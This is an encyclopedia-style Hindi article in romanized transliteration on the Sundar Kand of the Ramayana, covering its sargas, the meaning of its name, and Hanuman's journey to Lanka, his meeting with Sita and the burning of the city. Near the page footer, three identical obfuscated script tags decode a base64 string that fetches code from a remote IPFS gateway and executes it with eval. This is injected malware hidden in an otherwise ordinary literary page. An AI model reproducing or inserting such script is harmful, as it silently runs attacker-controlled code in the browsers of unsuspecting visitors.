सुन्दर काण्ड वा. रा.
sundar kand va. ra.
| |
| vivaran | 'ramayan' lagabhag chaubis hazar shlokoan ka ek anupam mahakavy hai, jisake madhyam se raghu vansh ke raja ram ki gatha kahi gayi hai. |
| rachanakar | maharshi valmiki |
| rachanakal | treta yug |
| bhasha | sanskrit |
| mukhy patr | ram, lakshman, sita, hanuman, sugriv, aangad, meghanad, vibhishan, kumbhakarn aur ravan. |
| sat kand | balakand, ayodhyakand, aranyakand, kishkindhakand, sundarakand, yuddhakand (lankakand), uttarakand. |
| sanbandhit lekh | ramacharitamanas, ramalila, pum chariu, ramayan samany jnan, bharat milap. |
| any janakari | ramayan ke sat kandoan mean kathit sargoan ki ganana karane par sampoorn ramayan mean 645 sarg milate haian. sarganusar shlokoan ki sankhya 23,440 ati hai, jo 24,000 se 560 shlok kam hai. |
sundar kand valmiki dvara rachit prasiddh hindoo granth 'ramayan' aur gosvami tulasidas krit 'shriramacharitamanas' ka ek bhag (kand ya sopan) hai.
sarg tatha shlok
sundar kand mean hanuman dvara samudralanghan karake lanka pahuanchana, surasa vrittant, lankapuri varnan, ravan ke ant:pur mean pravesh tatha vahaan ka saras varnan, ashok vatika mean pravesh tatha hanuman ke dvara sita ka darshan, sita tatha ravan sanvad, sita ko rakshasiyoan ke tarjan ki prapti, sita-trijata-sanvad, svapn-kathan, shianshapa vriksh mean avalin hanuman ka niche utarana tatha sita se apane ko ram ka doot batana, ram ki aangoothi sita ko dikhana, "maian keval ek mas tak jivit rahooangi, usake pashchath nahian" -aisa sandesh sita ke dvara hanuman ko dena, lanka ke chaity-prasadoan ko ukha dana tatha rakshasoan ko marana adi hanuman krity varnit haian.
is kand mean akshakumar ka vadh, hanuman ka meghanad ke sath yuddh, meghanad ke dvara brahmastr se hanuman ka bandhanapoorvak ravan ke darabar mean pravesh, ravan-hanuman-sanvad, vibhishan ke dvara dootavadh n karane ka paramarsh, hanuman ki pooanchh jalane ki ajna, lanka-dahan, hanuman ka sita-darshan ke pashchath pratyavartan, samachar-kathan, dadhimukh-vrittant, hanuman ke dvara sita se li gee kanchanamani ram ko samarpit karana, tatha sita ki dasha adi ka varnan kiya gaya hai. is kand mean 68 sarg haian. inamean 2,855 shlok drishtigat hote haian. dharmik drishti se kand ka parayan samaj mean bahudha prachalit hai. brihaddharmapuran mean shraddh tatha devakary mean isake path ka vidhan hai-
shraddheshu devakaryeshu patheth sundarakandamh॥[1]
namakaran tatha mahatta
sundarakand mean hanumachcharit ka pratipadan hone se hanuman ji ke bhakt is kand ka shraddhapoorvak path karate haian. vastav mean sundarakand mean sab kuchh ramaniy pratit hota hai-
sundare sundari sita sundare sundar: kapi:.
sundare sundaro ram: sundare kinn sundaramh॥
kadachit virahaprapi dit ram ko sita ka shubh sandesh tatha sita ko ram ka sandesh milane ke karan ram tatha sita donoan manoram ho gaye. isi prakar hanuman bhi ram ka kary karane ke karan atyant praphullit hue. atev is kand ka nam valmiki ne sundar rakha hoga. ramayan ki tilak tika ke ant mean prakarantar se yahi bhav spasht kiya gaya hai-
sundare sundarian sitamakshataan marutermukhath.
shrutva hrashtastathaivaastu s ram: satatan hradi॥[2]
is prakar sundarakand ramayan ka pran hai. at: isaki mahatta svayan khyapit hai.
sankshipt katha
narad ji kahate haian- sampati ki bat sunakar hanuman aur aangad adi vanaroan ne samudr ki or dekha. phir ve kahane lage- "kaun samudr ko laanghakar samast vanaroan ko jivan-dan dega?" vanaroan ki jivan-raksha aur shriramachandr ji ke kary ki prakrisht siddhi ke liye pavan kumar hanuman ji sau yojan vistrit samudr ko laangh gaye. laanghate samay avalamban dene ke liye samudr se mainak parvat utha. hanuman ne drishtimatr se usaka satkar kiya. phir (chhayagrahini) sianhika ne sir uthaya. vah unhean apana gras banana chahati thi, isaliye hanuman ne use mar giraya.
lankapuri mean hanuman ka agaman
samudr ke par jakar hanuman ne lankapuri dekhi. rakshasoan ke gharoan mean khoj ki; ravan ke ant:pur mean tatha kumbh, kumbhakarn, vibhishan, indrajit tatha any rakshasoan ke grihoan mean ja-jakar talash ki; madyapan ke sthanoan adi mean bhi chakkar lagaya; kiantu kahian bhi sita unaki drishti mean nahian p dian. ab ve b di chinta mean p de. ant mean jab ashok vatika ki or gaye to vahaan shianshapa-vriksh ke niche sita ji unhean baithi dikhayi dian. vahaan rakshasiyaan unaki rakhavali kar rahi thian. hanuman ne shianshapa-vriksh par chadhakar dekha.
ravan sita ji se kah raha tha- "too meri stri ho ja"; kiantu ve spasht shabdoan mean 'na' kar rahi thian. vahaan baithi huee rakshasiyaan bhi yahi kahati thian- "too ravan ki stri ho ja."
jab ravan chala gaya to hanuman ne is prakar kahana arambh kiya- "ayodhya mean dasharath nam vale ek raja the. unake do putr ram aur lakshman vanavas ke liye gaye. ve donoan bhaee shreshth purush haian. unamean shriramachandr ji ki patni janak kumari sita tumhian ho. ravan tumhean balapoorvak har le aya hai. shriramachandr ji is samay vanararaj sugriv ke mitr ho gaye haian. unhoanne tumhari khoj karane ke liye hi mujhe bheja hai. pahachan ke liye goodh sandesh ke sath shriramachandr ji ne aangoothi di hai. unaki di huee yah aangoothi le lo."
sita ka hanuman ko aangoothi choo damani dena
sita ji ne aangoothi le li. unhoanne vriksh par baithe hue hanuman ko dekha. phir hanuman vriksh se utar kar unake samane a baithe, tab sita ne unase kaha- "yadi shriraghunath ji jivit haian to ve mujhe yahaan se le kyoan nahian jate?" is prakar shanka karati huee sita ji se hanuman ne is prakar kaha- "devi site! tum yahaan ho, yah bat shriramachandr ji nahian janate. mujhase yah samachar jan lene ke pashchath sena sahit rakshas ravan ko mar kar ve tumhean avashy le jayange. tum chinta n karo. mujhe koee apani pahachan do." tab sita ji ne hanuman ko apani choo damani utar kar de di aur kaha- "bhaiya! ab aisa upay karo, jisase shriraghunath ji shighr akar mujhe yahaan se le chalean. unhean kaue ki aankh nasht kar dene vali ghatana ka smaran dilana; aj yahian raho, kal sabere chale jana; tum mera shok door karane vale ho. tumhare ane se mera du:kh bahut kam ho gaya hai." choo damani aur kakavali katha ko pahachan ke roop mean lekar hanuman ne kaha- "kalyani! tumhare patidev ab tumhean shighr hi le jayange. athava yadi tumhean chalane ki jaldi ho, to meri pith par baith jao. maian aj hi tumhean shriram aur sugriv ke darshan karaooanga." sita bolian- "nahian, shriraghunath ji hi akar mujhe le jayan."
hanuman ka ashok vatika uja dana
tadanantar hanuman ne ravan se milane ki yukti soch nikali. unhoanne rakshakoan ko mar kar us vatika ko uja d dala. phir daant aur nakh adi ayudhoan se vahaan aye hue ravan ke samast sevakoan ko marakar sat mantri kumaroan tatha ravan putr akshay kumar ko bhi yamalok pahuancha diya. tatpashchath indrajit ne akar unhean nagapash se baandh liya aur un vanar vir ko ravan ke pas le jakar usase milaya. us samay ravan ne poochha- "too kaun hai?" tab hanuman ne ravan ko uttar diya- "maian shriramachandr ji ka doot hooan. tum shri sita ji ko shriraghunath ji ki seva mean lauta do; anyatha lanka nivasi samast rakshasoan ke sath tumhean shriram ke banoan se ghayal hokar nishchay hi marana p dega."
yah sunakar ravan hanuman ko marane ke liye udyat ho gaya; kiantu vibhishan ne use rok diya. tab ravan ne unaki pooanchh mean ag laga di. pooanchh jal uthi. yah dekh pavan putr hanuman ne rakshasoan ki poori lanka ko jala dala aur sita ji ka pun: darshan karake unhean pranam kiya. phir samudr ke par akar aangad adi se kaha- "maianne sita ji ka darshan kar liya hai." tatpashchath aangad adi ke sath sugriv ke madhuvan mean akar, dadhimukh adi rakshakoan ko parast karake, madhupan karane ke anantar ve sab log shriramachandr ji ke pas aye aur bole- "sita ji ka darshan ho gaya." shriramachandr ji ne bhi atyant prasann hokar hanuman se poochha- "kapivar! tumhean sita ka darshan kaise hua? usane mere liye kya sandesh diya hai? maian virah ki ag mean jal raha hooan. tum sita ki amritamayi katha sunakar mera santap shant karo."
setu nirman
narad ji kahate haian- yah sunakar hanuman ne raghunath ji se kaha- "bhagavan! maian samudr laanghakar lanka mean gaya tha. vahaan sita ji ka darshan karake, lankapuri ko jalakar yahaan a raha hooan. yah sita ji ki di huee choo damani lijiye. ap shok n karean; ravan ka vadh karane ke pashchath nishchay hi apako sita ji ki prapti hogi." shriramachandr ji us mani ko hath mean le, virah se vyakul hokar rone lage aur bole- "is mani ko dekhakar aisa jan p data hai, mano maianne sita ko hi dekh liya. ab mujhe sita ke pas le chalo; maian usake bina jivit nahian rah sakata." us samay sugriv adi ne shriramachandr ji ko samajha-bujhakar shant kiya.
tadanantar shriraghunath ji samudr ke tat par gaye. vahaan unase vibhishan akar mile. vibhishan ke bhaee duratma ravan ne unaka tiraskar kiya tha. vibhishan ne itana hi kaha tha ki "bhaiya! ap sita ko shriramachandr ji ki seva mean samarpit kar dijiye." isi aparadh ke karan usane inhean thukara diya tha. ab ve asahay the. shriramachandr ji ne vibhishan ko apana mitr banaya aur lanka ke rajapad par abhishikt kar diya. isake bad shriram ne samudr se lanka jane ke liye rasta maanga. jab usane marg nahian diya to unhoanne banoan se use biandh dala. ab samudr bhayabhit hokar shriramachandr ji ke pas akar bola- "bhagavan! nal ke dvara mere oopar pul bandhakar ap lanka mean jaiye. poorvakal mean ap hi ne mujhe gahara banaya tha." yah sunakar shriramachandr ji ne nal ke dvara vriksh aur shilakhandoan se ek pul bandhavaya aur usi se ve vanaroan sahit samudr ke par gaye. vahaan suvel parvat par p dav dal kar vahian se unhoanne lankapuri ka nirikshan kiya.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>